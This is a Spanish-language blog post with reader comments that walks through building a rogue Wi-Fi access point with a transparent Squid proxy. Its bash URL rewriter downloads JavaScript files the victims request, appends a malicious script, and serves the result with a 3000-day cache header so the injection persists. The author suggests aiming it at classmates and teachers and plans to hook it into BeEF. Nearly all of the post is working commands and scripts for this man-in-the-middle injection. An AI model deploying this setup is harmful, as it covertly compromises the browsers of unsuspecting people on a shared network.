sábado, 30 de junio de 2012

El siguiente paso... Squid

Quizá ya has visto el vídeo de la con "Owning bad Guys and Mafia with Javascript" que dio Maligno (Chema Alonso) en la Rooted. Si no, http://vimeo.com/43984554.

Bien, luego de verlo, me dieron ganas de hacer lo mismo aunque sea solo para jugar. En este caso, en lugar de montar un proxy público (que no hay donde tampoco) pensé en hacerlo utilizando un fake AP. Esto trae algunas desventajas, como que reduces los usuarios a un área geográfica determinada. Así que dudo encontrar usuarios tan "interesantes" como los de la con. Pero la ventaja sería que puedes hacer un ataque dirigido. Por ejemplo, poniendo el AP en el aula de clase, en el salón de conferencias o cerca al aula de docentes de la facultad }:))

El cómo montar un AP con linux y tu interface wifi, ya se explicó en el post anterior. Así que vamos a lo que nos interesa, a configurar el proxy. Básicamente haremos lo mismo que explica Chema en su blog, pero con algunas variaciones.

Empecemos...

Partiremos del supuesto de que tenemos el AP montado con la configuración que se explicó anteriormente: IP, DHCP, NAT, Forwarding, etc. Además tenemos la segunda interface de red (p5p1) con conexión a internet.

Lo primero que haremos será instalar Squid:

# yum install squid

Editamos el fichero "squid.conf"

# vim /etc/squid/squid.conf

Y lo dejamos como sigue:

http_access allow all
http_port 3128 transparent
url_rewrite_program /etc/squid/test.sh

La primera linea le indica a squid que acepte cualquier host como cliente. Lo correcto sería usar ACLs y restringir un poco esto, pero para nuestro propósito no es muy importante. De cualquier forma puedes encontrar más información sobre ACLs en http://wiki.squid-cache.org/SquidFaq/SquidAcl

La siguiente linea indica el puerto en el que Squid escuchará las solicitudes. Ademas le indica a Squid que trabaje como proxy transparente. Esto último es muy importante puesto que de esta forma conseguiremos hacer pasar todas las solicitudes HTTP por Squid sin necesidad de que los clientes configuren nada en su navegador. Será totalmente "transparente".

La última linea sirve para indicar el path al programa que se encargará de reescribir las URLs. El funcionamiento de este programa se puede describir en tres sencillos pasos:

  • Leer la URL original de la entrada estándar
  • Modificar la URL
  • Escribir la URL modificada en la salida estándar


Por lo pronto usaremos un sencillo "rewriter" de prueba escrito en bash. Veamos:

#!/bin/bash

while [ 1 ]; do
 read line
 url=`echo $line | cut -d ' ' -f 1`
 echo $url >> /tmp/url.log
 echo $url
done

Este programa solo escribe la URL pedida en el archivo "/tmp/url.log".

Guardamos el script en "/etc/squid/test.sh" y le asignamos permisos de ejecución.

# chmod +x /etc/squid/test.sh

Para terminar con la configuración del proxy transparente debemos añadir una regla a iptables para redirigir las conexiones que van al puerto 80 hacia el puerto 3128 de Squid.

# iptables -t nat -A PREROUTING -m tcp -p tcp --dport 80 -j REDIRECT --to-port 3128

Reiniciamos Squid.

# systemctl restart squid.service

Ahora, para probar que todo va bien, desde una maquina conectada a la red wifi abre el navegador y visita cualquier página. Luego en el archivo url.log deberías ver la URL de esa página.

# tail -f /tmp/url.log

Como se explica en el vídeo, la idea es identificar cuando el usuario pide un fichero .js (javascript) y servirle ese fichero pero inyectandole un código malicioso que deseamos ejecutar en el navegador de la víctima. Además se deben enviar unas cabeceras especiales para conseguir que el navegador guarde en su cache el javascript malicioso durante un periodo más prolongado.

Para ello debemos hacer que nuestro programa "rewriter" descargue el javascript original, lo infecte y luego reescriba la URL para servir el javascript malicioso. Quien en realidad se encargará de servir el nuevo javascript será un Apache corriendo en localhost que además podremos configurar para que envíe las cabeceras que establecen el tiempo de caché.

El nuevo programa rewriter podría quedar así:

#!/bin/bash

JS="/var/www/html/js"
SCRIPT="/etc/squid/script.js"

while [ 1 ]; do
 read line
 url=`echo $line | cut -d ' ' -f 1`
 if [[ $url =~ \.js$  ]]; then
  name="`date +%Y%m%d%H%M%S`.js"
  wget $url -O $JS/$name 1> /dev/null 2>&1
  cat $SCRIPT >> $JS/$name
  chmod +r $JS/$name
  url="http://127.0.0.1:80/js/$name"
 fi
 echo $url
done

Como se explicó, será necesario un servidor web. Así que instalamos Apache.

# yum install httpd
# systemctl start httpd.service

El rewriter descarga los scripts en "/var/www/html/js". Por ello debemos crear el directorio "js" y darle los permisos adecuados para que squid pueda escribir en él.

# mkdir /var/www/html/js
# chown squid:squid /var/www/html/js
# chmod 755 /var/www/html/js

Para establecer el tiempo de caché, creamos un fichero ".htaccess" en el directorio "/var/www/html/js" y escribimos las siguientes lineas

ExpiresActive On
ExpiresDefault "access plus 3000 days"

Por último el código javascript que queremos inyectar lo ponemos en el fichero "/etc/squid/script.js". Por lo pronto bastará con un sencillo alert para mostrar que está funcionado.

alert('Bienvenido a la botnet');

Listo si todo va bien, cuando los clientes naveguen por Internet y pidan un fichero .js el proxy hará su trabajo y en el navegador se deberá ver una alerta con el mensaje "Bienvenido a la botnet". Además el script debe quedar en la caché del navegador y aunque el cliente deje de usar el proxy, es decir se desconecte de la wifi, la alerta aún se le va a mostrar por un buen tiempo hasta que borre la caché.

Lo siguiente será integrar BeeF con todo esto y tener una interface amigable para interactuar con las victimas. Pero ya será en otro post... por ahora hemos terminado.

Un saludo.

4 comentarios:

  1. Hapla man ke fue del sniffing y de cambiar fotos y hacer redirecciones a otras paginas , nos dejaste sin el sniffing en wifi jejeje bueno man...seguro ke ya lo retomaras o pondras alguna referencia
    falto cambiar fotos con el proxy XD , esperemos BeeF ... de acuerdo al post ... exitos buen post pero falto la cerezaaaaa del pastel pes... muy basic nop XD ejejejeje

    ResponderEliminar
  2. Bueno de hecho con el script para reescribir URLs ya puedes hacer todo eso de cambiar cosas xD

    Si me falta eso de integrarlo con BeeF, el ruby me esta dando problemas xD

    Saludos.

    ResponderEliminar
  3. Hapla ... haber mandas algo de sniffing por wifi poess ejejej , con ke version de ruby tas compilando ... podria ser esa fruna no cre3s . ya juacil mejoras el scrip pa las fotos , no t olvides del sniffing pes...

    ResponderEliminar
  4. Muy buenas, estaba revisando este post y tras hacer algunas pruebas no termino de entender el proposito de la linea:
    url="http://127.0.0.1:80/js/$name"
    Un Saludo !!

    ResponderEliminar